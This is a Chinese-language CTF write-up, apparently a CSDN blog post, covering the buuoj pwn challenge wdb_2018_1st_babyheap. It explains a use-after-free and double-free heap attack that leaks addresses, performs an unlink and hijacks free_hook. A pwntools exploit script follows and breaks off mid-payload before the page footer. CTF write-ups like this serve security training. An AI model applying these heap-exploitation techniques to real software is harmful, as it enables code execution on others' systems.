buuoj Pwn writeup 171-175

多个CTF安全题目的解题思路
博客介绍了多个CTF安全题目的解题思路,包括wdb_2018_1st_babyheap、npuctf_2020_bad_guy等。涉及堆溢出、格式化字符串、数组越界等漏洞利用,通过泄露地址、劫持hook等方法达到攻击效果,还给出了部分题目的注意事项和exp。

171 wdb_2018_1st_babyheap

在这里插入图片描述add
在这里插入图片描述
edit
在这里插入图片描述
只能编辑三次。

show
在这里插入图片描述
free
在这里插入图片描述
简单的uaf。

我们可以通过unlink来泄露地址,劫持free_hook。

要注意的是它自己写的一个输入函数。
在这里插入图片描述要么就回车截断,要么就输入32个。所以我们在写exp的时候如果是32字节,就不要加回车,如果不够32个字节,就一定要加回车,不然输入是截断不了的。

先通过double free泄露地址,然后把heap_base + 0x10的chunk申请到。并且把heap_base再挂进去。
在这里插入图片描述将heap_base + 0x10的地方拿回来,伪造好chunk,然后再次将heap_base申请回来伪造好chunk头,做一个unlink,目的是可以泄露libc地址,也可以顺便控制bss,劫持free_hook。

最后达到这样一个效果。
在这里插入图片描述

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"

r = process("./171")
#r = remote("node3.buuoj.cn", "25155")
elf = ELF("./171")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
#libc = ELF("./64/libc-2.23.so")

def add(index, content):
    r.sendlineafter("Choice:", "1")
    r.sendlineafter("Index:", str(index))
    r.sendafter("Content:", content)

def edit(index, content):
    r.sendlineafter("Choice:", "2")
    r.sendlineafter("Index:", str(index))
    r.sendafter("Content:", content)

def show(index):
    r.sendlineafter("Choice:", "3")
    r.sendlineafter("Index:", str(index))

def delete(index):
    r.sendlineafter("Choice:", "4")
    r.sendlineafter("Index:", str(index))

bss_addr = 0x602060

add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')

delete(0)
delete(1)
delete(0)
show(0)
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x30
print "heap_base" + hex(heap_base)

edit(0, p64(heap_base + 0x10)+'\n')
add(5, p64(0) + p64(0x31) + p64(heap_base) + p64(bss_addr-0x10))
#把heap_base再次挂进bins中.

payload = p64(bss_addr-0x18) + p64(bss_addr-0x10) + p64(0x20) + p64(0x90
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值